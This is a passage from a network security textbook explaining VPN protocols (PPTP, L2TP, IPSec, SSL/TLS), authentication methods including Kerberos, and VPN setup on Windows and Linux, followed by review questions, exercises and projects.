A VPN does not require separate technology, leased lines, or direct cabling. It is a virtual private network, which means it can use existing connections to provide a secure connection. In most cases it is used over

normal Internet connections. Basically, the VPN is a way to “piggy back” over the Internet to create secure connections. Figure 7-1 illustrates a VPN.




FIGURE 7-1 VPN technology

A variety of methods are available for connecting one computer to another. At one time dialing up to an ISP via a phone modem was common. Now cable modems, cellular devices, and other mechanisms are more common. All of these methods have something in common: they are not inherently secure. All data being sent back and forth is unencrypted, and anyone can use a packet sniffer to intercept and view the data. Furthermore, neither end is authenticated. This means you cannot be completely certain who you are really sending data to or receiving data from. The VPN provides an answer to these issues.

This sort of arrangement is generally acceptable for an

ISP. The customers connecting merely want a conduit to the Internet and do not need to connect directly or securely to a specific network. However, this setup is inadequate for remote users attempting to connect to an organization's network. In such cases the private and secure connection a VPN provides is critical.

Individual remote users are not the only users of VPN technology. Many larger organizations have offices in various locations. Achieving reliable and secure site-to-site connectivity for such organizations is an important issue. The various branch offices must be connected to the central corporate network through tunnels that transport traffic over the Internet.

Using VPN technology for site-to-site connectivity enables a branch office with multiple links to move away from an expensive, dedicated data line and to simply utilize existing Internet connections.

USING VPN PROTOCOLS FOR VPN ENCRYPTION

Multiple ways exist to achieve the encryption needs of a VPN. Certain network protocols are frequently used for VPNs. The two most commonly used protocols for this purpose are Point-to-Point Tunneling Protocol (PPTP) and Layer 2 Tunneling Protocol (L2TP). The part of the connection in which the data is encapsulated is referred to as the tunnel. L2TP is often combined with IPSec to achieve a high level of security. IPSec is discussed in more detail later in this chapter.

PPTP

PPTP is a tunneling protocol that enables an older connection protocol, PPP (Point-to-Point Protocol), to have its packets encapsulated within Internet Protocol (IP) packets and forwarded over any IP network, including the Internet itself. PPTP is often used to create VPNs. PPTP is an older protocol than L2TP or IPSec. Some experts consider PPTP to be less secure than L2TP or IPSec, but it consumes fewer resources and is supported by almost every VPN implementation. It is basically a secure extension to PPP. See Figure 7-2.




FIGURE 7-2 PPTP wrapping PPP

PPTP was originally proposed as a standard in 1996 by the PPTP Forum—a group of companies that included Ascend Communications, ECI Telematics, Microsoft, 3Com, and U.S. Robotics. This group's purpose was to design a protocol that would allow remote users to communicate securely over the Internet.

FYI: PPP

Because PPTP is based on PPP, knowing a little bit about PPP might interest you. PPP was designed for moving datagrams across serial point-to-point links. It sends packets over a physical link, a serial cable set up between two computers. It is used to establish and configure the communications link and the network layer protocols, and also to encapsulate datagrams. PPP has several components and is actually made up of several protocols:

- MP: PPP Multilink Protocol

- MP+: Ascend's Multilink Protocol Plus
- MPLS: Multiprotocol Label Switching

Each of these handles a different part of the process. PPP was originally developed as an encapsulation protocol for transporting IP traffic over point-to-point links. PPP also established a standard for a variety of related tasks including:

- assignment and management of IP addresses
- asynchronous and bit-oriented synchronous encapsulation
- network protocol multiplexing
- link configuration
- link quality testing
- error detection

PPP supports these functions by providing an extensible Link Control Protocol (LCP) and a family of Network Control Protocols (NCPs) to negotiate optional configuration parameters and facilities. In addition to IP, PPP supports other protocols, including Novell's Internetwork Packet Exchange (IPX).

Although newer VPN protocols are available, PPTP is still widely used in part because almost all VPN

equipment vendors support PPTP. Another important benefit of PPTP is that it operates at layer 2 of the OSI model (the data link layer), allowing different networking protocols to run over a PPTP tunnel. For example, PPTP can be used to transport IPX, NetBEUI, and other data.

The OSI model, short for Open Systems Interconnect model, is a standard description of how networks communicate. It describes the various protocols and activities, and delineates how they relate to each other. This model is divided into seven layers, as shown in Table 7-1.

TABLE 7-1 The OSI Model

Layer	Function	Protocols
Application	Interfaces directly to the application and performs common application services for the application processes	POP, SMTP, DNS, FTP
Presentation	Relieves the application layer of concern regarding syntactical differences in data representation within the end-user systems	Telnet
Session	Provides the mechanism for managing the dialogue between end-user application processes	NetBIOS

Transport	Provides end-to-end communication control	TCP, UDP
Network	Routes the information in the network	IP, ICMP
Data link	Encodes and decodes data packets into bits at this layer	SLIP, PPP
Physical	Represents the actual physical devices at this layer, such as the network interface card	None

FYI: The OSI Model

The following sources provide more information:

- Webopedia:

www.Webopedia.com/quick_ref/OSI_Layers.asp

- HowStuffWorks.com:

<https://computer.howstuffworks.com/osi.htm>

PPTP supports two generic types of tunneling: voluntary and compulsory. In voluntary tunneling, a remote user dials into a service provider's network and a standard PPP session is established that enables the user to log on to the provider's network. The user then launches the VPN software to establish a PPTP session back to the PPTP remote-access server in the central network.

This process is called voluntary tunneling because the user selects the type of encryption and authentication to use. In compulsory tunneling, the server selects the encryption and authentication protocols.

PPTP Authentication

When connecting users to a remote system, encrypting the data transmissions is not the only facet of security. You must also authenticate the user. PPTP supports two separate technologies for accomplishing this: Extensible Authentication Protocol (EAP) and Challenge Handshake Authentication Protocol (CHAP).

EAP

EAP was designed specifically with PPTP and is meant to work as part PPP. EAP works from within PPP's authentication protocol. It provides a framework for several different authentication methods. EAP is meant to supplant proprietary authentication systems and includes a variety of authentication methods to be used, including passwords, challenge-response tokens, and public key infrastructure certificates.

CHAP

CHAP is actually a three-part handshaking (a term used to denote authentication processes) procedure. After the link is established, the server sends a challenge message to the client machine originating the link. The originator responds by sending back a value calculated using a one-way hash function. The server checks the response against its own calculation of the expected hash value. If the values match, the authentication is acknowledged; otherwise, the connection is usually terminated. This means that the authorization of a client connection has three stages. Figure 7-3 illustrates them.




FIGURE 7-3 CHAP authentication

What makes CHAP particularly interesting is that it periodically repeats the process. This means that even after a client connection is authenticated, CHAP repeatedly seeks to re-authenticate that client, providing a robust level of security.

FYI: What Is a Hash Function?

The term *hash function* comes up quite a bit in discussions of encryption and authentication. Having a solid understanding of what it is therefore is important. As discussed In Chapter 6, “Encryption Fundamentals,” a hash function (H) is a transformation. This transformation takes a variable-sized input (m) and returns a fixed-length string. The fixed-length string that is returned is called the hash value (h). Expressed as a mathematical equation, this is $h = H(m)$. More details about hash functions are available at the following websites:

- Tutorials Point:

- https://www.tutorialspoint.com/cryptography/cryptography_hash_fn

- MathWorld:

- <http://mathworld.wolfram.com/HashFunction.html>

L2TP

Layer 2 Tunneling Protocol is an extension or enhancement of the Point-to-Point Tunneling Protocol that is often used to operate virtual private networks over the Internet. Essentially, it is a new and improved version of PPTP. As its name suggests, it operates at the data link layer of the OSI model (like PPTP). Both PPTP and L2TP are considered by many experts to be less secure than IPSec. However, seeing IPSec used together with L2TP to create a secure VPN connection is not uncommon.

L2TP Authentication

Like PPTP, L2TP supports EAP and CHAP. However, it also offers support for other authentication methods, for a total of six:

- EAP
- CHAP
- MS-CHAP
- PAP
- SPAP
- Kerberos

EAP and CHAP were discussed in the previous section.

The following section discusses the remaining five.

MS-CHAP

As the name suggests, MS-CHAP is a Microsoft-specific extension to CHAP. Microsoft created MS-CHAP to authenticate remote Windows workstations. The goal is to provide the functionality available on the LAN to remote users while integrating the encryption and hashing algorithms used on Windows networks.

Wherever possible, MS-CHAP is consistent with standard CHAP. However, some basic differences between MS-CHAP and standard CHAP include the following:

- The MS-CHAP response packet is in a format designed for compatibility with Microsoft's Windows networking products.
- The MS-CHAP format does not require the authenticator to store a clear-text or reversibly encrypted password.
- MS-CHAP provides authenticator-controlled authentication retry and password-changing mechanisms. These retry and password-changing mechanisms are compatible with the mechanisms used in Windows networks.

- MS-CHAP defines a set of reason-for-failure codes that are returned in the failure packet's message field if the authentication fails. These are codes that Windows software is able to read and interpret, thus providing the user with the reason for the failed authentication.

PAP

Password Authentication Protocol (PAP) is the most basic form of authentication. With PAP, a user's name and password are transmitted over a network and compared to a table of name-password pairs. Typically, the passwords stored in the table are encrypted. However, the transmissions of the passwords are in clear text, unencrypted, the main weakness with PAP. The basic authentication feature built into the HTTP protocol uses PAP. Figure 7-4 shows this authentication. This method is no longer used and is only presented for historical purposes.




FIGURE 7-4 PAP

SPAP

Shiva Password Authentication Protocol (SPAP) is a proprietary version of PAP. Most experts consider SPAP somewhat more secure than PAP because the username and password are both encrypted when they are sent, unlike with PAP. Figure 7-5 illustrates this protocol.



FIGURE 7-5 SPAP

Because SPAP encrypts passwords, someone capturing authentication packets will not be able to read the SPAP password. However, SPAP is still susceptible to playback attacks (that is, a person records the exchange and plays the message back to gain fraudulent access). Playback attacks are possible because SPAP always uses the same reversible encryption method to send the passwords over the wire.

Kerberos

Kerberos is one of the most well-known network authentication protocols. It was developed at MIT and its name stems from the mythical three-headed dog that guarded the gates to Hades.

Kerberos is ubiquitous, and it also is asked about on a number of security-related certification exams (Security+, CISSP, CASP, etc.). So, it is a good idea to have a fundamental understanding of Kerberos. This section provides a brief overview, sufficient for most industry certification exams.

Kerberos works by sending messages back and forth between the client and the server. The actual password (or even a hash of the password) is never sent. That makes it impossible for someone to intercept it. What happens instead is that the username is sent. The server then looks up the stored hash of that password, and uses that as an encryption key to encrypt data and send it back to the client. The client then takes the password the user entered, and uses that as a key to decrypt the data. If the user entered the wrong password, then it will never get decrypted. This is a clever way to verify the password without it ever being transmitted. Authentication happens with UDP (User Datagram Protocol) on port 88.

After the user's username is sent to the authentication service (AS), that AS will use the hash of the user password that is stored as a secret key to encrypt the following two messages that get sent to the client:

- **Message A:** Contains Client/TGS (Ticket Granting Service) session key encrypted with secret key of client
- **Message B:** Contains TGT (Ticket Granting Ticket) that includes client ID, client network address, and validity period

Remember, both of these messages are encrypted using the key the AS generated.

Then the user attempts to decrypt message A with the secret key generated by the client hashing the user's entered password. If that entered password does not match the password the AS found in the database, then the hashes won't match, and the decryption won't work. If it does work, then message A contains the Client/TGS session key that can be used for communications with the TGS. Message B is encrypted with the TGS secret key and cannot be decrypted by the client.

Now the user is authenticated into the system. But when the user actually requests a service, some more message communication is required. When requesting

services, the client sends the following messages to the TGS:

- **Message C:** Composed of the TGT from message B and the ID of the requested service
- **Message D:** Authenticator (which is composed of the client ID and the timestamp), encrypted using the Client/TGS session key

Upon receiving messages C and D, the TGS retrieves message B out of message C. It decrypts message B using the TGS secret key. This gives it the “Client/TGS session key”. Using this key, the TGS decrypts message D (Authenticator) and sends the following two messages to the client:

- **Message E:** Client-to-server ticket (which includes the client ID, client network address, validity period, and client/server session key) encrypted using the service’s secret key
- **Message F:** Client/server session key encrypted with the Client/TGS session key

Upon receiving messages E and F from TGS, the client has enough information to authenticate itself to the Service Server (SS). The client connects to the SS and sends the following two messages:

- **Message E:** From the previous step (the client-to-server ticket, encrypted using service's secret key)
- **Message G:** A new Authenticator, which includes the client ID and timestamp and is encrypted using the client/server session key

The SS decrypts the ticket (message E) using its own secret key to retrieve the client/server session key. Using the session key, the SS decrypts the Authenticator and sends the following message to the client to confirm its true identity and willingness to serve the client:

- **Message H:** The timestamp found in client's Authenticator

The client decrypts the confirmation (message H) using the client/server session key and checks whether the timestamp is correct. If so, then the client can trust the server and can start issuing service requests to the server.

The server provides the requested services to the client.

Kerberos simplified (without the details of messages A through H) is shown in Figure 7-6.




FIGURE 7-6 Kerberos simplified

The following are Kerberos terms to know:

- **Principal:** A server or client that Kerberos can assign tickets to.
- **Authentication Service (AS):** Service that authorizes the principal and connects them to the Ticket Granting Server. Note some books/sources say server rather than service.

- **Ticket Granting Service (TGS):** Provides tickets.
- **Key Distribution Center (KDC):** A server that provides the initial ticket and handles TGS requests. Often it runs both AS and TGS services.
- **Realm:** A boundary within an organization. Each realm has its own AS and TGS.
- **Remote Ticket Granting Server (RTGS):** A TGS in a remote realm.
- **Ticket Granting Ticket (TGT):** The ticket that is granted during the authentication process.
- **Ticket:** Used to authenticate to the server. Contains identity of client, session key, timestamp, and checksum. Encrypted with server's key.
- **Session key:** Temporary encryption key.
- **Authenticator:** Proves session key was recently created. Often expires within 5 minutes.

L2TP Compared to PPTP

L2TP is actually the convergence of the Layer 2 Forwarding Protocol (developed by Cisco) and PPTP (discussed in the previous section). The development of L2TP was spurred on by perceived shortcomings in PPTP. One of those shortcomings was that PPTP only supports public IP addresses. Many dial-up networking services support only registered IP addresses, which limits the types of applications that are implemented over VPNs. In other words, only the public IP addresses registered with interNIC are acceptable. Given that many VPNs ultimately connect with an internal server that might use a private IP address, this presents some limitations. L2TP supports multiple protocols and unregistered and privately administered IP addresses over the Internet.

Another important improvement in L2TP over PPTP is that it uses IPsec for encryption, whereas PPTP only uses Microsoft Point-to-Point Encryption (MPPE). MPPE is actually a version of DES (discussed in [Chapter 6](#)) and as such is secure enough for most situations. However, most experts consider IPsec to be more secure. [Table 7-2](#) provides a comparison of PPTP to L2TP.

TABLE 7-2 L2TP Versus PPTP

	L2TP	PPTP
Non IP Networks	Yes, L2TP can work over X.25 networks and ATM networks	No, IP only
Encryption	Yes, using IPSec	Yes, using MPPE
Authentication	Yes, using EAP or MS-CHAP	Yes, EAP, MS-CHAP, CHAP, SPAP, and PAP

Windows NT only supports PPTP, but Windows 2000 and later versions also support L2TP, making it an attractive option for Windows network administrators because it supports more network connection and authentication options and is more secure.

FYI: L2TP

These sources provide more data on L2TP:

- **Wikipedia:**

https://en.wikipedia.org/wiki/Layer_2_Tunneling_Protocol

- **IPVN:** <https://www.ipvn.net/pptp-vs-l2tp-vs-openvpn>

IPSEC

Internet Protocol Security (IPSec) is a technology used to create virtual private networks. IPSec is used in addition to the IP protocol that adds security and privacy to TCP/IP communication. IPSec is incorporated with Microsoft operating systems as well as many other operating systems. For example, the security settings in the Internet Connection Firewall that ships with Windows XP and later versions enables users to turn on IPSec for transmissions. IPSec is a set of protocols developed by the IETF (Internet Engineering Task Force; www.ietf.org) to support secure exchange of packets. IPSec has been deployed widely to implement VPNs.

IPSec has two encryption modes: transport and tunnel. The transport mode works by encrypting the data in each packet but leaves the header unencrypted. This means that the source and destination addresses, as well as other header information, are not encrypted. The tunnel mode encrypts both the header and the data. This is more secure than transport mode but can work more slowly. At the receiving end, an IPSec-compliant device decrypts each packet. For IPSec to work, the sending and receiving devices must share a key, an indication that IPSec is a single-key encryption technology. IPSec also offers two other protocols beyond the two modes

already described:

- **Authentication Header (AH):** The AH protocol provides a mechanism for authentication only. AH provides data integrity, data origin authentication, and an optional replay protection service. Data integrity is ensured by using a message digest that is generated by an algorithm such as HMAC-MD5 or HMAC-SHA. Data origin authentication is ensured by using a shared secret key to create the message digest.
- **Encapsulating Security Payload (ESP):** The ESP protocol provides data confidentiality (encryption) and authentication (data integrity, data origin authentication, and replay protection). ESP can be used with confidentiality only, authentication only, or both confidentiality and authentication.

Either protocol can be used alone to protect an IP packet, or both protocols can be applied together to the same IP packet.

IPSec can also work in two modes. Those modes are transport mode and tunnel mode. Transport mode is the mode wherein IPSec encrypts the data, but not the packet header. Tunneling mode does encrypt the header as well as the packet data.

There are other protocols involved in making IPsec work. IKE, or Internet Key Exchange, is used in setting up security associations in IPsec. A security association is formed by the two endpoints of the VPN tunnel, once they decide how they are going to encrypt and authenticate. For example, will they use AES for encrypting packets, what protocol will be used for key exchange, and what protocol will be used for authentication? All of these issues are negotiated between the two endpoints, and the decisions are stored in a security association (SA). This is accomplished via the IKE protocol. Internet Key Exchange (IKE and IKEv2) is used to set up an SA by handling negotiation of protocols and algorithms and to generate the encryption and authentication keys to be used.

The Internet Security Association and Key Management Protocol (ISAKMP) provides a framework for authentication and key exchange. Once the IKE protocol sets up the SA, then it is time to actually perform the authentication and key exchange.

That general overview of IPsec is sufficient for many security professionals. If you would like to know more details of the IPsec authentication and key exchange process, the following paragraphs provide that.

The first exchange between VPN endpoints establishes the basic security policy; the initiator proposes the

encryption and authentication algorithms it is willing to use. The responder chooses the appropriate proposal and sends it to the initiator. The next exchange passes Diffie-Hellman public keys and other data. Those Diffie-Hellman public keys will be used to encrypt the data being sent between the two endpoints. The third exchange authenticates the ISAKMP session. This process is called main mode.

Once the IKE SA is established, IPSec negotiation (Quick Mode) begins.

Quick Mode IPSec negotiation, or Quick Mode, is similar to an Aggressive Mode IKE negotiation, except negotiation must be protected within an IKE SA. Quick Mode negotiates the SA for the data encryption and manages the key exchange for that IPSec SA. In other words, Quick Mode uses the Diffie-Hellman keys exchanged in main mode, to continue exchanging symmetric keys that will be used for actual encryption in the VPN.

Aggressive Mode squeezes the IKE SA negotiation into three packets, with all data required for the SA passed by the initiator. The responder sends the proposal, key material, and ID, and authenticates the session in the next packet. The initiator replies by authenticating the session. Negotiation is quicker, and the initiator and responder ID pass in the clear.

SSL/TLS

A new type of firewall uses SSL (Secure Sockets Layer) or TLS (Transport Layer Security) to provide VPN access through a web portal. Essentially, TLS and SSL are the protocols used to secure websites. If you see a website beginning with HTTPS, then traffic to and from that website is encrypted using SSL or TLS. Today, we almost always mean TLS when we say SSL. It is just that many people became accustomed to saying SSL, and the phrase stuck. This should be obvious from the brief history of SSL/TLS presented here:

- Unreleased SSL v1 (Netscape).
- Version 2 released in 1995 but had many flaws.
- Version 3 released in 1996 (RFC 6101).
- Standard TLS 1.0, RFC 2246, released in 1999.
- TLS 1.1 defined in RFC 4346 in April 2006.
- TLS 1.2 defined in RFC 5246 in August 2008. It is based on the earlier TLS 1.1 spec.
- As of July 2017, TLS 1.3 is a draft and details have not been fixed yet.

In some VPN solutions the user logs in to a website, one that is secured with SSL or TLS, and is then given access

to a virtual private network. However, visiting a website that uses SSL or TLS does not mean you are on a VPN. As a general rule most websites, such as banking websites, give you access only to a very limited set of data, such as your account balances. A VPN gives you access to the network, the same or similar access to what you would have if you were physically on that network.

Whether you are using SSL to connect to an e-commerce website or to establish a VPN, the SSL handshake process is needed to establish the secure/encrypted connection:

- 1.** The client sends the server the client's SSL version number, cipher settings, session-specific data, and other information that the server needs to communicate with the client using SSL.
- 2.** The server sends the client the server's SSL version number, cipher settings, session-specific data, and other information that the client needs to communicate with the server over SSL. The server also sends its own certificate, and if the client is requesting a server resource that requires client authentication, the server requests the client's certificate.
- 3.** The client uses the information sent by the server

to authenticate the server—e.g., in the case of a web browser connecting to a web server, the browser checks whether the received certificate's subject name actually matches the name of the server being contacted, whether the issuer of the certificate is a trusted certificate authority, whether the certificate has expired, and, ideally, whether the certificate has been revoked. If the server cannot be authenticated, the user is warned of the problem and informed that an encrypted and authenticated connection cannot be established. If the server can be successfully authenticated, the client proceeds to the next step.

4. Using all data generated in the handshake thus far, the client (with the cooperation of the server, depending on the cipher in use) creates the pre-master secret for the session, encrypts it with the server's public key (obtained from the server's certificate, sent in step 2), and then sends the encrypted pre-master secret to the server.
5. If the server has requested client authentication (an optional step in the handshake), the client also signs another piece of data that is unique to this handshake and known by both the client and server. In this case, the client sends both the signed data and the client's own certificate to the server along with the encrypted pre-master secret.

- 6.** If the server has requested client authentication, the server attempts to authenticate the client. If the client cannot be authenticated, the session ends. If the client can be successfully authenticated, the server uses its private key to decrypt the pre-master secret, and then performs a series of steps (which the client also performs, starting from the same pre-master secret) to generate the master secret.
- 7.** Both the client and the server use the master secret to generate the session keys, which are symmetric keys used to encrypt and decrypt information exchanged during the SSL session and to verify its integrity (that is, to detect any changes in the data between the time it was sent and the time it is received over the SSL connection).
- 8.** The client sends a message to the server informing it that future messages from the client will be encrypted with the session key. It then sends a separate (encrypted) message indicating that the client portion of the handshake is finished.
- 9.** The server sends a message to the client informing it that future messages from the server will be encrypted with the session key. It then sends a separate (encrypted) message indicating that the server portion of the handshake is finished.

This process is summarized in Figure 7-7.




FIGURE 7-7 SSL/TLS handshake

Note that step 3 often does not occur today. Instead, most computers sold commercially have a certificate store that contains digital certificates for major certificate authorities (recall the discussion of digital certificates in [Chapter 6](#)). It is only necessary to use that certificate in order to verify the digital signature from the server.

IMPLEMENTING VPN SOLUTIONS

Regardless of which protocols you use for your VPN, you must implement your choice in some software/hardware configuration. Many operating systems have built-in VPN server and client connections. These are generally fine for small office or home situations. However, they might not be adequate for larger scale operations in which multiple users connect via VPN. For those situations, a dedicated VPN solution might be necessary. This section discusses some of those solutions.

Cisco Solutions

Cisco offers VPN solutions, including a module (https://www.cisco.com/c/en/us/products/collateral/routers/2800-series-integrated-services-routers-isr/prod_qas0900aecd80516d81.html) that can be added to many of their switches and routers to implement VPN services. It also offers client-side hardware that is designed to provide an easy-to-implement yet secure client side for the VPN.

The main advantage of this solution is that it incorporates seamlessly with other Cisco products. Administrators using a Cisco firewall or Cisco routers might find this solution to be preferable. However, this

solution might not be right for those not using other Cisco products and those who don't have knowledge of Cisco systems. However, many attractive specifications for this product include the following:

- It can use 3DES encryption (an improved version of DES). But AES is preferred and strongly recommended.
- It can handle packets larger than 500 bytes.
- It can create up to 60 new virtual tunnels per second, a good feature if a lot of users might be logging on or off.

Service Solutions

In some cases, especially with large WAN VPN situations, you might not want to invest the time, energy, and cost to establish, secure, and monitor VPN connections. You can contract this entire process, the setup and the administration, to VPN vendors. AT&T provides this service for many companies.

Service solutions have the advantage of not requiring any particular VPN skill on the part of the internal IT department. A department that lacks these specific skill areas but wants to implement a VPN might find that

using an outside service is the right solution.

Openswan

The Openswan product (www.openswan.org/) is an open source VPN solution available for Linux operating systems. As an open source product, one of its biggest advantages is that it is free. Openswan uses IPSec, making it a highly secure VPN solution.

Openswan supports either remote users logging on via VPN, or site-to-site connections. It also supports wireless connections. However, it does not support NAT (network address translation, the new alternative to proxy servers).

Other Solutions

Clearly many possible VPN solutions are available. A simple Google or Yahoo! search for “VPN Solutions” generates many responses. You encounter the previous VPN solutions most frequently. You must examine your organization’s specific data usage requirements to determine the most appropriate VPN solution.

**In
Practice**

Setting Up a VPN Server with Windows 2016

Setting up a virtual private network with Windows Server 2016 is relatively easy. Simply follow these basic steps, and you will have a VPN server that any client can connect to:

- 1.** First open server roles.
- 2.** Add roles.
- 3.** Add remote access role (see Figure 7-8).




FIGURE 7-8 Remote Access Role

4. Select the DirectAccess and VPN (RAS) check box shown in [Figure 7-9](#), and click Next.




FIGURE 7-9 VPN Access

5. The Wizard will ask you to confirm a few items, then you will see the image shown in [Figure 7-10](#).




FIGURE 7-10 Finished

Configure a user to be able to log in via VPN. Note that by default users have their dial-in access disabled, so you must enable dial-in for any user you want to use the VPN.

The server you intend to use as your VPN server should use a static IP address (as opposed to a dynamically assigned one).

1. Go to Start, Programs, Settings, Administrative Tools, Routing and Remote Access, and then click on the icon next to your server's name.

- 2.** Click Action, Configure and Enable Routing and Remote Service. This starts a simple wizard that will walk you through the process of configuring your VPN server.

After you are through the wizard you can check your configuration or change it by right-clicking on your server icon and choosing Properties. Check to make sure the following settings are in place:

- 1.** You have on-demand dialing and LAN connection.
- 2.** It is set for IP routing and IP remote access.
- 3.** Set up the port to use either L2TP or PPTP.

Depending on your network environment, you will need to configure your firewall to allow the VPN traffic through.

SUMMARY

Virtual private networks are secure connections over the Internet that enable remote users and sites to connect to a central network. You can use PPTP, L2TP, or IPSec to create a VPN. IPSec is considered the most secure of the three. Administrators choosing a VPN protocol should consider how the packets are encrypted, what sort of authentication is used, and whether the current hardware and software supports that technology.

Test Your Skills

MULTIPLE CHOICE QUESTIONS

1. PPTP is an acronym for which of the following?
 - A. Point-to-Point Transmission Protocol
 - B. Point-to-Point Tunneling Protocol
 - C. Point-to-Point Transmission Procedure
 - D. Point-to-Point Tunneling Procedure
2. What does L2TP stand for?
 - A. Level 2 Transfer Protocol
 - B. Layer 2 Tunneling Protocol

- C. Level 2 Tunneling Protocol**
 - D. Level 2 Transfer Protocol**
- 3. PPTP is based on what earlier protocol?**
- A. SLIP**
 - B. L2TP**
 - C. IPSec**
 - D. PPP**
- 4. At what layer of the OSI model does PPTP operate?**
- A. Physical**
 - B. Network**
 - C. Data link**
 - D. Transport**
- 5. What is the difference between voluntary and compulsory tunneling in PPTP?**
- A. Only voluntary tunneling allows the user to choose encryption.**
 - B. Only compulsory tunneling forces the user to send his password.**
 - C. Only voluntary tunneling allows standard PPP/non-VPN connection.**
 - D. Only compulsory tunneling forces 3DES**

encryption.

- 6.** Which authentication protocols are available under PPTP?
- A.** MS-CHAP, PAP, SPAP
 - B.** EAP, CHAP
 - C.** PAP, EAP, MS-CHAP
 - D.** SPAP, MS-CHAP
- 7.** Which of the following is an important security feature in CHAP?
- A.** It periodically re-authenticates.
 - B.** It uses 3DES encryption.
 - C.** It is immune to IP spoofing.
 - D.** It uses AES encryption.
- 8.** Which authentication protocols are available with L2TP that are not available with PPTP?
- A.** MS-CHAP, PAP, SPAP
 - B.** EAP, CHAP
 - C.** PAP, EAP, MS-CHAP
 - D.** SPAP, MS-CHAP
- 9.** Which of the following is generally considered the least secure?
- A.** PAP

- B. SPAP**
- C. MS-CHAP**
- D. X-PAP**

10. What is the primary vulnerability in SPAP?

- A. Weak encryption**
- B. Playback attacks**
- C. Clear text passwords**
- D. No hash code**

11. What does PPTP use to accomplish encryption?

- A. MPPE**
- B. IPSec**
- C. 3DES**
- D. AES**

12. Which of the following is a weakness in PPTP?

- A. Clear text passwords**
- B. No encryption**
- C. Used only with IP networks**
- D. Not supported on most platforms**

13. What protocols make up IPSec?

- A. AH, IKE, ESP, ISAKMP**
- B. AH, PAP, CHAP, ISAKMP**

C. ISAKMP, MS-CHAP, PAP, AH

D. AH, SPAP, CHAP, ISAKMP

14. What is the difference between transport mode and tunnel mode in IPSec?

A. Only transport mode is unencrypted.

B. Only tunneling mode is unencrypted.

C. Only tunneling mode does not encrypt the header.

D. Only transport mode does not encrypt the header.

15. What advantage does AH have over SPAP?

A. AH uses stronger encryption.

B. AH is stronger authentication.

C. AH is not susceptible to replay attacks.

D. None; SPAP is more secure.

16. What protects the actual packet data in IPSec?

A. AH

B. ESP

C. SPAP

D. CHAP

17. What is the purpose of IKE?

- A. Key exchange
- B. Packet encryption
- C. Header protection
- D. Authentication

EXERCISES

EXERCISE 7.1: Setting Up a Windows VPN Server

Windows XP first introduced an easy-to-use VPN Wizard, and it has been carried through to later versions of Windows that allow you to set up your XP machine as a VPN server.

1. Click Start, and then select Control Panel.
2. In the Control Panel, select Network Connections.
3. In the Network Connections window, choose Create a New Connection, which launches the Welcome to the New Connection Wizard.
4. Click Next on the first screen of the wizard.
5. On the Network Connection Type screen, choose the Set Up an Advanced Connection option.
6. On the Advanced Connection Options screen, select the Accept Incoming Connection, and click

Next.

- 7.** On the Devices for Incoming Connections screen, select the optional devices on which you want to accept incoming connections.
- 8.** On the Incoming Virtual Private Network (VPN) Connection screen, select the Allow Virtual Private Connections option, and click Next.
- 9.** On the User Permissions screen, select the users that are allowed to make incoming VPN connections. Click Next.
- 10.** On the Networking Software screen, click on the Internet Protocol (TCP/IP) entry and click the Properties button.
- 11.** In the Incoming TCP/IP Properties dialog box, place a check mark in the Allow Callers to Access My Local Area Network check box to allow VPN callers to connect to other computers on the LAN. If this check box isn't selected, VPN callers will be able to connect only to resources on the Windows XP VPN server itself. Click OK to return to the Networking Software screen and then click Next.
- 12.** Click Finish to create the connection on the Completing the New Connection Wizard screen.
- 13.** After the Incoming Connection is complete, right-

click on the Connection you made in the Network Connections window and select the Properties.

You now have a VPN server.

EXERCISE 7.2: Setting Up a Windows XP VPN Client

- 1.** Click Start, and then select Control Panel.
- 2.** In the Control Panel, select Network Connections.
- 3.** Open the New Connection Wizard. Click Connect to the Network at My Workplace, and click Next.
- 4.** Click Virtual Private Network Connection, and click Next.
- 5.** Enter a name for this connection, and then click Next.
- 6.** Choose whether Windows will automatically dial the initial connection to the Internet you created previously or let you do that manually. If you use multiple connections to the Internet, you should use manual, but if you always use the same connection you might consider the automatic method.
- 7.** Click Next, and then type in the host name or IP address of your RRAS server. If you don't know this, check with your IT department. Click Next

again, and select My Use Only for this connection. Click Next again and then click Finish to create the VPN connection

8. You can test this by connecting to the server you created in Exercise 7.1.

EXERCISE 7.3: Setting Up a Linux VPN

Linux can vary from distribution to distribution, so consult your particular distribution's documentation. However, several sources are given for you here, in the order I recommend. The first is the easiest to follow:

- <http://www.techrepublic.com/article/set-up-a-linux-vpn-server-by-following-these-10-steps/>
- <http://vpnlab.org/linux-vpn.php>

EXERCISE 7.4: Intercepting Packets

Chapter 5 discussed the open source IDS Snort. One of its modes is to simply intercept and read packets. You will use that in this exercise.

1. Run Snort in packet sniffing mode on your VPN server.
2. Intercept the incoming packets.
3. Determine whether they are encrypted.

EXERCISE 7.5: Installing and Configuring Openswan

- 1.** Go to the website mentioned in the chapter for Openswan.
- 2.** Download the product to your Linux server.
- 3.** Install and configure according to the product documentation.

EXERCISE 7.6: OS Independence

This exercise demonstrates that different operating systems can communicate easily over a VPN connection.

- 1.** Using a Linux machine, connect to the Windows VPN server you created in Exercise 7.1.
- 2.** Using a Windows machine, connect to the Linux VPN server you created in Exercise 7.3 or 7.5.

PROJECTS

PROJECT 7.1: Comparing Authentication Protocols

- 1.** Using the web or other resources, look up each of the authentication protocols mentioned in this chapter.

2. Compare the protocols by pointing out the strengths and weaknesses of each.
3. Which one would you recommend for your school, company, or organization?
4. State the reasons behind your recommendation.

PROJECT 7.2: Internet Key Exchange

1. Using the web and other resources, look up information on how IKE works.
2. Describe the methods used in keeping the key exchange secure.
3. What are possible weaknesses in the IKE method?
4. Do you consider this a secure method for key exchange?

PROJECT 7.3: Cost Efficiency

Unfortunately, technical strength is not the only criterion by which any solution is judged. Cost must be taken into account. For this project you will do cost estimates. This will require you to research product websites and perhaps even call sales representatives.

1. Assume a local area network that is small (under 100 users, 5 servers).

- 2.** Assume 20 remote users, not all connected at the same time.
- 3.** Assume an average of five to eight connections at any given time.
- 4.** Research three solutions that can support this scenario, and report on the cost of each.

Chapter 8

Operating System Hardening

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Properly configure a Windows system for secure operations.
- Properly configure a Linux system for secure operations.
- Apply appropriate operating system patches to Windows.
- Apply application patches.
- Securely configure a web browser.

INTRODUCTION

